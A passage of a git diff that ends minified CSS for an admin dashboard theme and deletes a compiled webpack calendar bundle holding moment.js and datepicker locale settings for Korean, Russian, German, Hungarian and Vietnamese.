17px 0 rgba(0,0,0,.2),0 6px 20px 0 rgba(0,0,0,.19);max-width:90vw;width:unset!important}.navbar-nav .user-menu{margin-right:10px}.navbar-nav .user-menu ul li a{color:#444}.navbar-nav .user-menu ul li a:hover{background-color:#f4f4f4}.navbar-nav .user-menu ul li a:hover i{color:#0073b7}.navbar-nav .user-menu ul li a i{padding-right:10px}.navbar-nav .user-menu ul li hr{margin:0}.navbar-nav .notifications-menu>.dropdown-menu>li .menu>li>a:hover i{color:#00a65a}@media (max-width:768px){.navbar-custom-menu>.navbar-nav>li>.dropdown-menu{right:0}.navbar-nav .user-menu{margin-right:0}.navbar-nav .user-menu.open .dropdown-menu>li>a{padding:5px 25px}}.drp-calendar .calendar-table td.today:not(.active){background-color:#cde0f1;color:#357ebd}.drp-calendar .calendar-table select.yearselect{width:unset}@media (max-width:768px){.skin-blue .main-header .navbar .dropdown-menu li.divider{background-color:#ccc}.skin-blue .main-header .navbar .dropdown-menu li a{color:#444}.skin-blue .main-header .navbar .dropdown-menu li a:hover{background:#fff}.skin-blue-light .main-header .navbar .dropdown-menu li.divider{background-color:#ccc}.skin-blue-light .main-header .navbar .dropdown-menu li a{color:#444}.skin-blue-light .main-header .navbar .dropdown-menu li a:hover{background:#fff}}@media (max-width:768px){.skin-black .main-header .navbar .dropdown-menu li.divider{background-color:#ccc}.skin-black .main-header .navbar .dropdown-menu li a{color:#444}.skin-black .main-header .navbar .dropdown-menu li a:hover{background:#fff}.skin-black-light .main-header .navbar .dropdown-menu li.divider{background-color:#ccc}.skin-black-light .main-header .navbar .dropdown-menu li a{color:#444}.skin-black-light .main-header .navbar .dropdown-menu li a:hover{background:#fff}}@media (max-width:768px){.skin-green .main-header .navbar .dropdown-menu li.divider{background-color:#ccc}.skin-green .main-header .navbar .dropdown-menu li a{color:#444}.skin-green .main-header .navbar .dropdown-menu li a:hover{background:#fff}.skin-green-light .main-header .navbar .dropdown-menu li.divider{background-color:#ccc}.skin-green-light .main-header .navbar .dropdown-menu li a{color:#444}.skin-green-light .main-header .navbar .dropdown-menu li a:hover{background:#fff}}@media (max-width:768px){.skin-purple .main-header .navbar .dropdown-menu li.divider{background-color:#ccc}.skin-purple .main-header .navbar .dropdown-menu li a{color:#444}.skin-purple .main-header .navbar .dropdown-menu li a:hover{background:#fff}.skin-purple-light .main-header .navbar .dropdown-menu li.divider{background-color:#ccc}.skin-purple-light .main-header .navbar .dropdown-menu li a{color:#444}.skin-purple-light .main-header .navbar .dropdown-menu li a:hover{background:#fff}}@media (max-width:768px){.skin-red .main-header .navbar .dropdown-menu li.divider{background-color:#ccc}.skin-red .main-header .navbar .dropdown-menu li a{color:#444}.skin-red .main-header .navbar .dropdown-menu li a:hover{background:#fff}.skin-red-light .main-header .navbar .dropdown-menu li.divider{background-color:#ccc}.skin-red-light .main-header .navbar .dropdown-menu li a{color:#444}.skin-red-light .main-header .navbar .dropdown-menu li a:hover{background:#fff}}@media (max-width:768px){.skin-yellow .main-header .navbar .dropdown-menu li.divider{background-color:#ccc}.skin-yellow .main-header .navbar .dropdown-menu li a{color:#444}.skin-yellow .main-header .navbar .dropdown-menu li a:hover{background:#fff}.skin-yellow-light .main-header .navbar .dropdown-menu li.divider{background-color:#ccc}.skin-yellow-light .main-header .navbar .dropdown-menu li a{color:#444}.skin-yellow-light .main-header .navbar .dropdown-menu li a:hover{background:#fff}}.swal2-popup{font-size:unset}@media only screen and (max-width:768px){body.swal2-toast-shown .swal2-container{top:95px!important;width:80%}}@media only screen and (min-width:768px){body.swal2-toast-shown .swal2-container{top:60px!important}}.ui-widget{font-size:1em}.ui-widget.ui-widget-content{border:1px solid #c5c5c5}.ui-widget-content{border:1px solid #ddd;background:#fff;color:#333}.ui-menu{list-style:none;padding:0;margin:0;display:block;outline:0}.ui-menu .ui-menu-item{margin:0;cursor:pointer}.ui-autocomplete{position:absolute;top:0;left:0;cursor:default}.ui-front{z-index:1200}.ui-menu .ui-menu-item-wrapper{position:relative;padding:3px 1em 3px .4em}.ui-menu .ui-state-active,.ui-menu .ui-state-focus{margin:-1px}.ui-button.ui-state-active:hover,.ui-button:active,.ui-state-active,.ui-widget-content .ui-state-active,.ui-widget-header .ui-state-active,a.ui-button:active{border:1px solid #003eff;background:#007fff;font-weight:400;color:#fff}.ui-icon-background,.ui-state-active .ui-icon-background{border:#003eff;background-color:#fff}.ui-state-active a,.ui-state-active a:link,.ui-state-active a:visited{color:#fff;text-decoration:none}.select2-container .select2-selection--single .select2-selection__rendered{margin-top:0}.select2-container--bootstrap .select2-selection{border-radius:0}.select2-search.select2-search--inline .select2-search__field{width:100%!important}.select2-container--bootstrap .select2-results__options.select2-results__options--nested li.select2-results__option{padding-left:30px}.select2-container--bootstrap .select2-results__option{min-height:30px}.dataTable .weekend{background-color:#f9f9f9;opacity:.6}.form-reporting .box-header .form-group{margin-right:10px}.form-reporting .box-header .form-group label{font-size:14px}form .box-body fieldset{border-radius:3px;padding:10px}form .box-body fieldset:hover{background-color:#f5f5f5}form.form-narrow .form-group{margin:0 0 5px}.modal-content{border-radius:3px;box-shadow:0 10px 80px rgba(0,0,0,.6)}.progress-group .progress-title{width:100%;white-space:nowrap}.progress-group .progress-title .progress-text{display:inline-block;width:1%}.progress-group .progress-title .progress-number{display:inline-block;width:98%;text-align:right;float:none}
\ No newline at end of file
diff --git a/public/build/calendar.070aab88.js b/public/build/calendar.070aab88.js
deleted file mode 100644
index 818f8f5322..0000000000
--- a/public/build/calendar.070aab88.js
+++ /dev/null
@@ -1 +0,0 @@
-(window.webpackJsonp=window.webpackJsonp||[]).push([["calendar"],{"+pkN":function(e,t,n){var r,o;"undefined"!=typeof self&&self,e.exports=(r=n("wd/R"),o=n("Io7t"),function(e){function t(r){if(n[r])return n[r].exports;var o=n[r]={i:r,l:!1,exports:{}};return e[r].call(o.exports,o,o.exports,t),o.l=!0,o.exports}var n={};return t.m=e,t.c=n,t.d=function(e,n,r){t.o(e,n)||Object.defineProperty(e,n,{configurable:!1,enumerable:!0,get:r})},t.n=function(e){var n=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(n,"a",n),n},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="",t(t.s=159)}({0:function(e,t){e.exports=r},1:function(e,t){e.exports=o},159:function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0}),n(160);var r=n(1);r.datepickerLocale("ko","ko",{closeText:"닫기",prevText:"이전달",nextText:"다음달",currentText:"오늘",monthNames:["1월","2월","3월","4월","5월","6월","7월","8월","9월","10월","11월","12월"],monthNamesShort:["1월","2월","3월","4월","5월","6월","7월","8월","9월","10월","11월","12월"],dayNames:["일요일","월요일","화요일","수요일","목요일","금요일","토요일"],dayNamesShort:["일","월","화","수","목","금","토"],dayNamesMin:["일","월","화","수","목","금","토"],weekHeader:"주",dateFormat:"yy. m. d.",firstDay:0,isRTL:!1,showMonthAfterYear:!0,yearSuffix:"년"}),r.locale("ko",{buttonText:{month:"월",week:"주",day:"일",list:"일정목록"},allDayText:"종일",eventLimitText:"개",noEventsMessage:"일정이 없습니다"})},160:function(e,t,n){!function(e){e.defineLocale("ko",{months:"1월_2월_3월_4월_5월_6월_7월_8월_9월_10월_11월_12월".split("_"),monthsShort:"1월_2월_3월_4월_5월_6월_7월_8월_9월_10월_11월_12월".split("_"),weekdays:"일요일_월요일_화요일_수요일_목요일_금요일_토요일".split("_"),weekdaysShort:"일_월_화_수_목_금_토".split("_"),weekdaysMin:"일_월_화_수_목_금_토".split("_"),longDateFormat:{LT:"A h:mm",LTS:"A h:mm:ss",L:"YYYY.MM.DD.",LL:"YYYY년 MMMM D일",LLL:"YYYY년 MMMM D일 A h:mm",LLLL:"YYYY년 MMMM D일 dddd A h:mm",l:"YYYY.MM.DD.",ll:"YYYY년 MMMM D일",lll:"YYYY년 MMMM D일 A h:mm",llll:"YYYY년 MMMM D일 dddd A h:mm"},calendar:{sameDay:"오늘 LT",nextDay:"내일 LT",nextWeek:"dddd LT",lastDay:"어제 LT",lastWeek:"지난주 dddd LT",sameElse:"L"},relativeTime:{future:"%s 후",past:"%s 전",s:"몇 초",ss:"%d초",m:"1분",mm:"%d분",h:"한 시간",hh:"%d시간",d:"하루",dd:"%d일",M:"한 달",MM:"%d달",y:"일 년",yy:"%d년"},dayOfMonthOrdinalParse:/\d{1,2}(일|월|주)/,ordinal:function(e,t){switch(t){case"d":case"D":case"DDD":return e+"일";case"M":return e+"월";case"w":case"W":return e+"주";default:return e}},meridiemParse:/오전|오후/,isPM:function(e){return"오후"===e},meridiem:function(e,t,n){return e<12?"오전":"오후"}})}(n(0))}}))},"/n17":function(e,t,n){var r,o;"undefined"!=typeof self&&self,e.exports=(r=n("wd/R"),o=n("Io7t"),function(e){function t(r){if(n[r])return n[r].exports;var o=n[r]={i:r,l:!1,exports:{}};return e[r].call(o.exports,o,o.exports,t),o.l=!0,o.exports}var n={};return t.m=e,t.c=n,t.d=function(e,n,r){t.o(e,n)||Object.defineProperty(e,n,{configurable:!1,enumerable:!0,get:r})},t.n=function(e){var n=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(n,"a",n),n},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="",t(t.s=189)}({0:function(e,t){e.exports=r},1:function(e,t){e.exports=o},189:function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0}),n(190);var r=n(1);r.datepickerLocale("ru","ru",{closeText:"Закрыть",prevText:"&#x3C;Пред",nextText:"След&#x3E;",currentText:"Сегодня",monthNames:["Январь","Февраль","Март","Апрель","Май","Июнь","Июль","Август","Сентябрь","Октябрь","Ноябрь","Декабрь"],monthNamesShort:["Янв","Фев","Мар","Апр","Май","Июн","Июл","Авг","Сен","Окт","Ноя","Дек"],dayNames:["воскресенье","понедельник","вторник","среда","четверг","пятница","суббота"],dayNamesShort:["вск","пнд","втр","срд","чтв","птн","сбт"],dayNamesMin:["Вс","Пн","Вт","Ср","Чт","Пт","Сб"],weekHeader:"Нед",dateFormat:"dd.mm.yy",firstDay:1,isRTL:!1,showMonthAfterYear:!1,yearSuffix:""}),r.locale("ru",{buttonText:{month:"Месяц",week:"Неделя",day:"День",list:"Повестка дня"},allDayText:"Весь день",eventLimitText:function(e){return"+ ещё "+e},noEventsMessage:"Нет событий для отображения"})},190:function(e,t,n){!function(e){function t(e,t,n){return"m"===n?t?"минута":"минуту":e+" "+function(e,t){var n=e.split("_");return t%10==1&&t%100!=11?n[0]:t%10>=2&&t%10<=4&&(t%100<10||t%100>=20)?n[1]:n[2]}({ss:t?"секунда_секунды_секунд":"секунду_секунды_секунд",mm:t?"минута_минуты_минут":"минуту_минуты_минут",hh:"час_часа_часов",dd:"день_дня_дней",MM:"месяц_месяца_месяцев",yy:"год_года_лет"}[n],+e)}var n=[/^янв/i,/^фев/i,/^мар/i,/^апр/i,/^ма[йя]/i,/^июн/i,/^июл/i,/^авг/i,/^сен/i,/^окт/i,/^ноя/i,/^дек/i];e.defineLocale("ru",{months:{format:"января_февраля_марта_апреля_мая_июня_июля_августа_сентября_октября_ноября_декабря".split("_"),standalone:"январь_февраль_март_апрель_май_июнь_июль_август_сентябрь_октябрь_ноябрь_декабрь".split("_")},monthsShort:{format:"янв._февр._мар._апр._мая_июня_июля_авг._сент._окт._нояб._дек.".split("_"),standalone:"янв._февр._март_апр._май_июнь_июль_авг._сент._окт._нояб._дек.".split("_")},weekdays:{standalone:"воскресенье_понедельник_вторник_среда_четверг_пятница_суббота".split("_"),format:"воскресенье_понедельник_вторник_среду_четверг_пятницу_субботу".split("_"),isFormat:/\[ ?[Вв] ?(?:прошлую|следующую|эту)? ?\] ?dddd/},weekdaysShort:"вс_пн_вт_ср_чт_пт_сб".split("_"),weekdaysMin:"вс_пн_вт_ср_чт_пт_сб".split("_"),monthsParse:n,longMonthsParse:n,shortMonthsParse:n,monthsRegex:/^(январ[ья]|янв\.?|феврал[ья]|февр?\.?|марта?|мар\.?|апрел[ья]|апр\.?|ма[йя]|июн[ья]|июн\.?|июл[ья]|июл\.?|августа?|авг\.?|сентябр[ья]|сент?\.?|октябр[ья]|окт\.?|ноябр[ья]|нояб?\.?|декабр[ья]|дек\.?)/i,monthsShortRegex:/^(январ[ья]|янв\.?|феврал[ья]|февр?\.?|марта?|мар\.?|апрел[ья]|апр\.?|ма[йя]|июн[ья]|июн\.?|июл[ья]|июл\.?|августа?|авг\.?|сентябр[ья]|сент?\.?|октябр[ья]|окт\.?|ноябр[ья]|нояб?\.?|декабр[ья]|дек\.?)/i,monthsStrictRegex:/^(январ[яь]|феврал[яь]|марта?|апрел[яь]|ма[яй]|июн[яь]|июл[яь]|августа?|сентябр[яь]|октябр[яь]|ноябр[яь]|декабр[яь])/i,monthsShortStrictRegex:/^(янв\.|февр?\.|мар[т.]|апр\.|ма[яй]|июн[ья.]|июл[ья.]|авг\.|сент?\.|окт\.|нояб?\.|дек\.)/i,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY г.",LLL:"D MMMM YYYY г., H:mm",LLLL:"dddd, D MMMM YYYY г., H:mm"},calendar:{sameDay:"[Сегодня, в] LT",nextDay:"[Завтра, в] LT",lastDay:"[Вчера, в] LT",nextWeek:function(e){if(e.week()===this.week())return 2===this.day()?"[Во] dddd, [в] LT":"[В] dddd, [в] LT";switch(this.day()){case 0:return"[В следующее] dddd, [в] LT";case 1:case 2:case 4:return"[В следующий] dddd, [в] LT";case 3:case 5:case 6:return"[В следующую] dddd, [в] LT"}},lastWeek:function(e){if(e.week()===this.week())return 2===this.day()?"[Во] dddd, [в] LT":"[В] dddd, [в] LT";switch(this.day()){case 0:return"[В прошлое] dddd, [в] LT";case 1:case 2:case 4:return"[В прошлый] dddd, [в] LT";case 3:case 5:case 6:return"[В прошлую] dddd, [в] LT"}},sameElse:"L"},relativeTime:{future:"через %s",past:"%s назад",s:"несколько секунд",ss:t,m:t,mm:t,h:"час",hh:t,d:"день",dd:t,M:"месяц",MM:t,y:"год",yy:t},meridiemParse:/ночи|утра|дня|вечера/i,isPM:function(e){return/^(дня|вечера)$/.test(e)},meridiem:function(e,t,n){return e<4?"ночи":e<12?"утра":e<17?"дня":"вечера"},dayOfMonthOrdinalParse:/\d{1,2}-(й|го|я)/,ordinal:function(e,t){switch(t){case"M":case"d":case"DDD":return e+"-й";case"D":return e+"-го";case"w":case"W":return e+"-я";default:return e}},week:{dow:1,doy:4}})}(n(0))}}))},"4cfU":function(e,t,n){n("chtW"),n("Io7t"),n("Gltf"),n("EO3r"),n("PgkR"),n("enkU"),n("oxvM"),n("AlgY"),n("7rcM"),n("UYyL"),n("oTGj"),n("GxZh"),n("o/Sq"),n("IKCy"),n("BIFA"),n("nNJ7"),n("m1Bm"),n("+pkN"),n("WJWz"),n("Oc2A"),n("VoT6"),n("XfF8"),n("ifVw"),n("/n17"),n("QNUC"),n("T9R9"),n("dCDG"),n("SzGA"),n("Crgz"),n("Z7Jz"),n("8N7N")},"7rcM":function(e,t,n){var r,o;"undefined"!=typeof self&&self,e.exports=(r=n("wd/R"),o=n("Io7t"),function(e){function t(r){if(n[r])return n[r].exports;var o=n[r]={i:r,l:!1,exports:{}};return e[r].call(o.exports,o,o.exports,t),o.l=!0,o.exports}var n={};return t.m=e,t.c=n,t.d=function(e,n,r){t.o(e,n)||Object.defineProperty(e,n,{configurable:!1,enumerable:!0,get:r})},t.n=function(e){var n=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(n,"a",n),n},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="",t(t.s=101)}({0:function(e,t){e.exports=r},1:function(e,t){e.exports=o},101:function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0}),n(102);var r=n(1);r.datepickerLocale("de-ch","de",{closeText:"Schließen",prevText:"&#x3C;Zurück",nextText:"Vor&#x3E;",currentText:"Heute",monthNames:["Januar","Februar","März","April","Mai","Juni","Juli","August","September","Oktober","November","Dezember"],monthNamesShort:["Jan","Feb","Mär","Apr","Mai","Jun","Jul","Aug","Sep","Okt","Nov","Dez"],dayNames:["Sonntag","Montag","Dienstag","Mittwoch","Donnerstag","Freitag","Samstag"],dayNamesShort:["So","Mo","Di","Mi","Do","Fr","Sa"],dayNamesMin:["So","Mo","Di","Mi","Do","Fr","Sa"],weekHeader:"KW",dateFormat:"dd.mm.yy",firstDay:1,isRTL:!1,showMonthAfterYear:!1,yearSuffix:""}),r.locale("de-ch",{buttonText:{year:"Jahr",month:"Monat",week:"Woche",day:"Tag",list:"Terminübersicht"},allDayText:"Ganztägig",eventLimitText:function(e){return"+ weitere "+e},noEventsMessage:"Keine Ereignisse anzuzeigen"})},102:function(e,t,n){!function(e){function t(e,t,n,r){var o={m:["eine Minute","einer Minute"],h:["eine Stunde","einer Stunde"],d:["ein Tag","einem Tag"],dd:[e+" Tage",e+" Tagen"],M:["ein Monat","einem Monat"],MM:[e+" Monate",e+" Monaten"],y:["ein Jahr","einem Jahr"],yy:[e+" Jahre",e+" Jahren"]};return t?o[n][0]:o[n][1]}e.defineLocale("de-ch",{months:"Januar_Februar_März_April_Mai_Juni_Juli_August_September_Oktober_November_Dezember".split("_"),monthsShort:"Jan._Feb._März_Apr._Mai_Juni_Juli_Aug._Sep._Okt._Nov._Dez.".split("_"),monthsParseExact:!0,weekdays:"Sonntag_Montag_Dienstag_Mittwoch_Donnerstag_Freitag_Samstag".split("_"),weekdaysShort:"So_Mo_Di_Mi_Do_Fr_Sa".split("_"),weekdaysMin:"So_Mo_Di_Mi_Do_Fr_Sa".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY HH:mm",LLLL:"dddd, D. MMMM YYYY HH:mm"},calendar:{sameDay:"[heute um] LT [Uhr]",sameElse:"L",nextDay:"[morgen um] LT [Uhr]",nextWeek:"dddd [um] LT [Uhr]",lastDay:"[gestern um] LT [Uhr]",lastWeek:"[letzten] dddd [um] LT [Uhr]"},relativeTime:{future:"in %s",past:"vor %s",s:"ein paar Sekunden",ss:"%d Sekunden",m:t,mm:"%d Minuten",h:t,hh:"%d Stunden",d:t,dd:t,M:t,MM:t,y:t,yy:t},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n(0))}}))},"8Iik":function(e,t,n){var r,o,i;o=[n("EVdn"),n("Qwlt")],void 0===(i="function"==typeof(r=function(e){return e.fn.scrollParent=function(t){var n=this.css("position"),r="absolute"===n,o=t?/(auto|scroll|hidden)/:/(auto|scroll)/,i=this.parents().filter((function(){var t=e(this);return(!r||"static"!==t.css("position"))&&o.test(t.css("overflow")+t.css("overflow-y")+t.css("overflow-x"))})).eq(0);return"fixed"!==n&&i.length?i:e(this[0].ownerDocument||document)}})?r.apply(t,o):r)||(e.exports=i)},"8N7N":function(e,t,n){},AlgY:function(e,t,n){var r,o;"undefined"!=typeof self&&self,e.exports=(r=n("wd/R"),o=n("Io7t"),function(e){function t(r){if(n[r])return n[r].exports;var o=n[r]={i:r,l:!1,exports:{}};return e[r].call(o.exports,o,o.exports,t),o.l=!0,o.exports}var n={};return t.m=e,t.c=n,t.d=function(e,n,r){t.o(e,n)||Object.defineProperty(e,n,{configurable:!1,enumerable:!0,get:r})},t.n=function(e){var n=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(n,"a",n),n},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="",t(t.s=99)}({0:function(e,t){e.exports=r},1:function(e,t){e.exports=o},100:function(e,t,n){!function(e){function t(e,t,n,r){var o={m:["eine Minute","einer Minute"],h:["eine Stunde","einer Stunde"],d:["ein Tag","einem Tag"],dd:[e+" Tage",e+" Tagen"],M:["ein Monat","einem Monat"],MM:[e+" Monate",e+" Monaten"],y:["ein Jahr","einem Jahr"],yy:[e+" Jahre",e+" Jahren"]};return t?o[n][0]:o[n][1]}e.defineLocale("de-at",{months:"Jänner_Februar_März_April_Mai_Juni_Juli_August_September_Oktober_November_Dezember".split("_"),monthsShort:"Jän._Feb._März_Apr._Mai_Juni_Juli_Aug._Sep._Okt._Nov._Dez.".split("_"),monthsParseExact:!0,weekdays:"Sonntag_Montag_Dienstag_Mittwoch_Donnerstag_Freitag_Samstag".split("_"),weekdaysShort:"So._Mo._Di._Mi._Do._Fr._Sa.".split("_"),weekdaysMin:"So_Mo_Di_Mi_Do_Fr_Sa".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY HH:mm",LLLL:"dddd, D. MMMM YYYY HH:mm"},calendar:{sameDay:"[heute um] LT [Uhr]",sameElse:"L",nextDay:"[morgen um] LT [Uhr]",nextWeek:"dddd [um] LT [Uhr]",lastDay:"[gestern um] LT [Uhr]",lastWeek:"[letzten] dddd [um] LT [Uhr]"},relativeTime:{future:"in %s",past:"vor %s",s:"ein paar Sekunden",ss:"%d Sekunden",m:t,mm:"%d Minuten",h:t,hh:"%d Stunden",d:t,dd:t,M:t,MM:t,y:t,yy:t},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n(0))},99:function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0}),n(100);var r=n(1);r.datepickerLocale("de-at","de",{closeText:"Schließen",prevText:"&#x3C;Zurück",nextText:"Vor&#x3E;",currentText:"Heute",monthNames:["Januar","Februar","März","April","Mai","Juni","Juli","August","September","Oktober","November","Dezember"],monthNamesShort:["Jan","Feb","Mär","Apr","Mai","Jun","Jul","Aug","Sep","Okt","Nov","Dez"],dayNames:["Sonntag","Montag","Dienstag","Mittwoch","Donnerstag","Freitag","Samstag"],dayNamesShort:["So","Mo","Di","Mi","Do","Fr","Sa"],dayNamesMin:["So","Mo","Di","Mi","Do","Fr","Sa"],weekHeader:"KW",dateFormat:"dd.mm.yy",firstDay:1,isRTL:!1,showMonthAfterYear:!1,yearSuffix:""}),r.locale("de-at",{buttonText:{year:"Jahr",month:"Monat",week:"Woche",day:"Tag",list:"Terminübersicht"},allDayText:"Ganztägig",eventLimitText:function(e){return"+ weitere "+e},noEventsMessage:"Keine Ereignisse anzuzeigen"})}}))},BIFA:function(e,t,n){var r,o;"undefined"!=typeof self&&self,e.exports=(r=n("wd/R"),o=n("Io7t"),function(e){function t(r){if(n[r])return n[r].exports;var o=n[r]={i:r,l:!1,exports:{}};return e[r].call(o.exports,o,o.exports,t),o.l=!0,o.exports}var n={};return t.m=e,t.c=n,t.d=function(e,n,r){t.o(e,n)||Object.defineProperty(e,n,{configurable:!1,enumerable:!0,get:r})},t.n=function(e){var n=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(n,"a",n),n},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="",t(t.s=145)}({0:function(e,t){e.exports=r},1:function(e,t){e.exports=o},145:function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0}),n(146);var r=n(1);r.datepickerLocale("hu","hu",{closeText:"bezár",prevText:"vissza",nextText:"előre",currentText:"ma",monthNames:["Január","Február","Március","Április","Május","Június","Július","Augusztus","Szeptember","Október","November","December"],monthNamesShort:["Jan","Feb","Már","Ápr","Máj","Jún","Júl","Aug","Szep","Okt","Nov","Dec"],dayNames:["Vasárnap","Hétfő","Kedd","Szerda","Csütörtök","Péntek","Szombat"],dayNamesShort:["Vas","Hét","Ked","Sze","Csü","Pén","Szo"],dayNamesMin:["V","H","K","Sze","Cs","P","Szo"],weekHeader:"Hét",dateFormat:"yy.mm.dd.",firstDay:1,isRTL:!1,showMonthAfterYear:!0,yearSuffix:""}),r.locale("hu",{buttonText:{month:"Hónap",week:"Hét",day:"Nap",list:"Napló"},allDayText:"Egész nap",eventLimitText:"további",noEventsMessage:"Nincs megjeleníthető esemény"})},146:function(e,t,n){!function(e){function t(e,t,n,r){var o=e;switch(n){case"s":return r||t?"néhány másodperc":"néhány másodperce";case"ss":return o+(r||t)?" másodperc":" másodperce";case"m":return"egy"+(r||t?" perc":" perce");case"mm":return o+(r||t?" perc":" perce");case"h":return"egy"+(r||t?" óra":" órája");case"hh":return o+(r||t?" óra":" órája");case"d":return"egy"+(r||t?" nap":" napja");case"dd":return o+(r||t?" nap":" napja");case"M":return"egy"+(r||t?" hónap":" hónapja");case"MM":return o+(r||t?" hónap":" hónapja");case"y":return"egy"+(r||t?" év":" éve");case"yy":return o+(r||t?" év":" éve")}return""}function n(e){return(e?"":"[múlt] ")+"["+r[this.day()]+"] LT[-kor]"}var r="vasárnap hétfőn kedden szerdán csütörtökön pénteken szombaton".split(" ");e.defineLocale("hu",{months:"január_február_március_április_május_június_július_augusztus_szeptember_október_november_december".split("_"),monthsShort:"jan_feb_márc_ápr_máj_jún_júl_aug_szept_okt_nov_dec".split("_"),weekdays:"vasárnap_hétfő_kedd_szerda_csütörtök_péntek_szombat".split("_"),weekdaysShort:"vas_hét_kedd_sze_csüt_pén_szo".split("_"),weekdaysMin:"v_h_k_sze_cs_p_szo".split("_"),longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"YYYY.MM.DD.",LL:"YYYY. MMMM D.",LLL:"YYYY. MMMM D. H:mm",LLLL:"YYYY. MMMM D., dddd H:mm"},meridiemParse:/de|du/i,isPM:function(e){return"u"===e.charAt(1).toLowerCase()},meridiem:function(e,t,n){return e<12?!0===n?"de":"DE":!0===n?"du":"DU"},calendar:{sameDay:"[ma] LT[-kor]",nextDay:"[holnap] LT[-kor]",nextWeek:function(){return n.call(this,!0)},lastDay:"[tegnap] LT[-kor]",lastWeek:function(){return n.call(this,!1)},sameElse:"L"},relativeTime:{future:"%s múlva",past:"%s",s:t,ss:t,m:t,mm:t,h:t,hh:t,d:t,dd:t,M:t,MM:t,y:t,yy:t},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n(0))}}))},Crgz:function(e,t,n){var r,o;"undefined"!=typeof self&&self,e.exports=(r=n("wd/R"),o=n("Io7t"),function(e){function t(r){if(n[r])return n[r].exports;var o=n[r]={i:r,l:!1,exports:{}};return e[r].call(o.exports,o,o.exports,t),o.l=!0,o.exports}var n={};return t.m=e,t.c=n,t.d=function(e,n,r){t.o(e,n)||Object.defineProperty(e,n,{configurable:!1,enumerable:!0,get:r})},t.n=function(e){var n=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(n,"a",n),n},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="",t(t.s=209)}({0:function(e,t){e.exports=r},1:function(e,t){e.exports=o},209:function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0}),n(210);var r=n(1);r.datepickerLocale("vi","vi",{closeText:"Đóng",prevText:"&#x3C;Trước",nextText:"Tiếp&#x3E;",currentText:"Hôm nay",monthNames:["Tháng Một","Tháng Hai","Tháng Ba","Tháng Tư","Tháng Năm","Tháng Sáu","Tháng Bảy","Tháng Tám","Tháng Chín","Tháng Mười","Tháng Mười Một","Tháng Mười Hai"],monthNamesShort:["Tháng 1","Tháng 2","Tháng 3","Tháng 4","Tháng 5","Tháng 6","Tháng 7","Tháng 8","Tháng 9","Tháng 10","Tháng 11","Tháng 12"],dayNames:["Chủ Nhật","Thứ Hai","Thứ Ba","Thứ Tư","Thứ Năm","Thứ Sáu","Thứ Bảy"],dayNamesShort:["CN","T2","T3","T4","T5","T6","T7"],dayNamesMin:["CN","T2","T3","T4","T5","T6","T7"],weekHeader:"Tu",dateFormat:"dd/mm/yy",firstDay:0,isRTL:!1,showMonthAfterYear:!1,yearSuffix:""}),r.locale("vi",{buttonText:{month:"Tháng",week:"Tuần",day:"Ngày",list:"Lịch biểu"},allDayText:"Cả ngày",eventLimitText:function(e){return"+ thêm "+e},noEventsMessage:"Không có sự kiện để hiển thị"})},210:function(e,t,n){!function(e){e.defineLocale("vi",{months:"tháng 1_tháng 2_tháng 3_tháng 4_tháng 5_tháng 6_tháng 7_tháng 8_tháng 9_tháng 10_tháng 11_tháng 12".split("_"),monthsShort:"Th01_Th02_Th03_Th04_Th05_Th06_Th07_Th08_Th09_Th10_Th11_Th12".split("_"),monthsParseExact:!0,weekdays:"chủ nhật_thứ hai_thứ ba_thứ tư_thứ năm_thứ sáu_thứ bảy".split("_"),weekdaysShort:"CN_T2_T3_T4_T5_T6_T7".split("_"),weekdaysMin:"CN_T2_T3_T4_T5_T6_T7".split("_"),weekdaysParseExact:!0,meridiemParse:/sa|ch/i,isPM:function(e){return/^ch$/i.test(e)},meridiem:function(e,t,n){return e<12?n?"sa":"SA":n?"ch":"CH"},longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM [năm] YYYY",LLL:"D MMMM [năm] YYYY HH:mm",LLLL:"dddd, D MMMM [năm] YYYY HH:mm",l:"DD/M/YYYY",ll:"D MMM YYYY",lll:"D MMM YYYY HH:mm",llll:"ddd, D MMM YYYY HH:mm"},calendar:{sameDay:"[Hôm nay lúc] LT",nextDay:"[Ngày mai lúc] LT",nextWeek:"dddd [tuần tới lúc] LT",lastDay:"[Hôm qua lúc] LT",lastWeek:"dddd [tuần trước lúc] LT",sameElse:"L"},relativeTime:{future:"%s tới",past:"%s trước",s:"vài giây",ss:"%d giây",m:"một phút",mm:"%d phút",h:"một giờ",hh:"%d giờ",d:"một ngày",dd:"%d ngày",M:"một tháng",MM:"%d tháng",y:"một năm",yy:"%d năm"},dayOfMonthOrdinalParse:/\d{1,2}/,ordinal:function(e){return 